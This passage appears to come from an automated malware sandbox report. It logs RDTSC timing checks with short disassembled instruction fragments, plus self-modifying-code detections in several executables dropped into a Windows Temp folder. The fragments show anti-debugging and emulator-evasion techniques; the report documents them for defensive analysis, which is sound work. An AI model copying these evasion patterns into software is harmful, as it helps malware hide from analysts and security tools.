Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7A7AB6 second address: 7A7ACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7ACA94 second address: 7ACA9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7ACA9A second address: 7ACAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7ACAA3 second address: 7ACACB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jp 00007F654CE0FA3Bh 0x0000000d jmp 00007F654CE0FA17h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7ACACB second address: 7ACACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7ACC2E second address: 7ACC57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA0Fh 0x00000007 jmp 00007F654CE0FA0Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jl 00007F654CE0FA06h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7ACC57 second address: 7ACC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD061 second address: 7AD07E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD07E second address: 7AD08F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F654C734E58h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD1F4 second address: 7AD200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F654CE0FA06h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD200 second address: 7AD204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD204 second address: 7AD20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD20A second address: 7AD21B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F654C734E5Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD21B second address: 7AD223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD363 second address: 7AD36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD36B second address: 7AD380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F654CE0FA06h 0x0000000a popad 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jg 00007F654CE0FA06h 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AD380 second address: 7AD386 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AEC73 second address: 7AEC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AEC78 second address: 61DCB5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F654C734E6Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 1EA3278Ah 0x00000011 ja 00007F654C734E5Ch 0x00000017 push dword ptr [ebp+122D0CE1h] 0x0000001d mov dx, cx 0x00000020 call dword ptr [ebp+122D2B9Eh] 0x00000026 pushad 0x00000027 jne 00007F654C734E6Ch 0x0000002d xor eax, eax 0x0000002f cmc 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 jnc 00007F654C734E5Ch 0x0000003a sub dword ptr [ebp+122D29FCh], eax 0x00000040 cld 0x00000041 mov dword ptr [ebp+122D384Eh], eax 0x00000047 stc 0x00000048 mov esi, 0000003Ch 0x0000004d pushad 0x0000004e mov dword ptr [ebp+122D29FCh], edi 0x00000054 mov cx, D75Eh 0x00000058 popad 0x00000059 add esi, dword ptr [esp+24h] 0x0000005d jmp 00007F654C734E5Dh 0x00000062 lodsw 0x00000064 pushad 0x00000065 xor dx, 8B7Ch 0x0000006a jmp 00007F654C734E64h 0x0000006f popad 0x00000070 add eax, dword ptr [esp+24h] 0x00000074 jng 00007F654C734E57h 0x0000007a cld 0x0000007b mov ebx, dword ptr [esp+24h] 0x0000007f cld 0x00000080 nop 0x00000081 pushad 0x00000082 push eax 0x00000083 jmp 00007F654C734E61h 0x00000088 pop eax 0x00000089 push eax 0x0000008a push edx 0x0000008b push ebx 0x0000008c pop ebx 0x0000008d rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AED60 second address: 7AED64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AED64 second address: 7AED8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c jmp 00007F654C734E62h 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AED8D second address: 7AEDA8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F654CE0FA0Ch 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AEE04 second address: 7AEE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AEE09 second address: 7AEE6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654CE0FA18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jbe 00007F654CE0FA06h 0x00000014 popad 0x00000015 pop edi 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007F654CE0FA08h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 or di, 8806h 0x00000038 movsx edx, di 0x0000003b call 00007F654CE0FA09h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AEE6C second address: 7AEE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AEE70 second address: 7AEE74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AEFE7 second address: 7AEFF1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F654C734E5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7AEFF1 second address: 7AF035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F654CE0FA0Ch 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F654CE0FA08h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 265B25EFh 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CD6C7 second address: 7CD6D9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F654C734E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F654C734E5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CD833 second address: 7CD876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F654CE0FA0Eh 0x0000000a jmp 00007F654CE0FA11h 0x0000000f jmp 00007F654CE0FA0Ah 0x00000014 jmp 00007F654CE0FA14h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CD876 second address: 7CD882 instructions: 0x00000000 rdtsc 0x00000002 js 00007F654C734E5Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CD9A4 second address: 7CD9C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F654CE0FA13h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDE26 second address: 7CDE2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDE2C second address: 7CDE40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654CE0FA0Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDE40 second address: 7CDE45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDE45 second address: 7CDE69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F654CE0FA06h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007F654CE0FA15h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDE69 second address: 7CDE7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F654C734E62h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDE7F second address: 7CDE8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDE8D second address: 7CDEA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F654C734E5Eh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDFCD second address: 7CDFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDFD5 second address: 7CDFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDFDB second address: 7CDFE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDFE2 second address: 7CDFFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F654C734E68h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CDFFE second address: 7CE034 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F654CE0FA06h 0x00000008 jng 00007F654CE0FA06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F654CE0FA16h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 js 00007F654CE0FA22h 0x0000001d push eax 0x0000001e push edx 0x0000001f jc 00007F654CE0FA06h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CE42C second address: 7CE4B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E60h 0x00000009 popad 0x0000000a jbe 00007F654C734E62h 0x00000010 push ecx 0x00000011 jbe 00007F654C734E56h 0x00000017 jmp 00007F654C734E5Fh 0x0000001c pop ecx 0x0000001d je 00007F654C734E77h 0x00000023 jmp 00007F654C734E64h 0x00000028 jmp 00007F654C734E5Dh 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F654C734E61h 0x00000035 jmp 00007F654C734E5Bh 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CE4B0 second address: 7CE4BC instructions: 0x00000000 rdtsc 0x00000002 je 00007F654CE0FA0Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CE752 second address: 7CE756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CE756 second address: 7CE75A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CE75A second address: 7CE783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jnp 00007F654C734E56h 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f jne 00007F654C734E73h 0x00000015 pushad 0x00000016 jmp 00007F654C734E61h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7CF4CC second address: 7CF4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F654CE0FA08h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7D34DD second address: 7D34EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7D34EB second address: 7D34EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7D34EF second address: 7D34F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7D1EE5 second address: 7D1EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	RDTSC instruction interceptor: First address: 7D6F39 second address: 7D6F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F654C734E5Ah 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push esi 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007F654C734E85h 0x00000018 jmp 00007F654C734E68h 0x0000001d jmp 00007F654C734E67h 0x00000022 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60EC13 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60ED10 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60C2D6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 83C99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Special instruction interceptor: First address: 61DD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Special instruction interceptor: First address: 61DC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Special instruction interceptor: First address: 7D354E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Special instruction interceptor: First address: 7D1CDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Special instruction interceptor: First address: 800A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Special instruction interceptor: First address: 86BEC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Special instruction interceptor: First address: 102E9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Special instruction interceptor: First address: 102C2DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Special instruction interceptor: First address: 11E3535 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 102E9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 102C2DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11E3535 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	Special instruction interceptor: First address: 6246AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45EBCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45EAB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 6034DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 61148B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45EAF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 688949 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Special instruction interceptor: First address: 2CEADD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Special instruction interceptor: First address: 2CE9DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Special instruction interceptor: First address: 49FA4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Special instruction interceptor: First address: 480B8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 1EEADD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 1EE9DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 3BFA4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 3A0B8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Special instruction interceptor: First address: EBDD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Special instruction interceptor: First address: EBDC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Special instruction interceptor: First address: 107354E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Special instruction interceptor: First address: 1071CDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Special instruction interceptor: First address: 10A0A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe	Special instruction interceptor: First address: 110BEC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Special instruction interceptor: First address: 68DD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Special instruction interceptor: First address: 68DC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Special instruction interceptor: First address: 84354E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe	Special instruction interceptor: First address: 841CDD instructions caused by: Self-modifying code
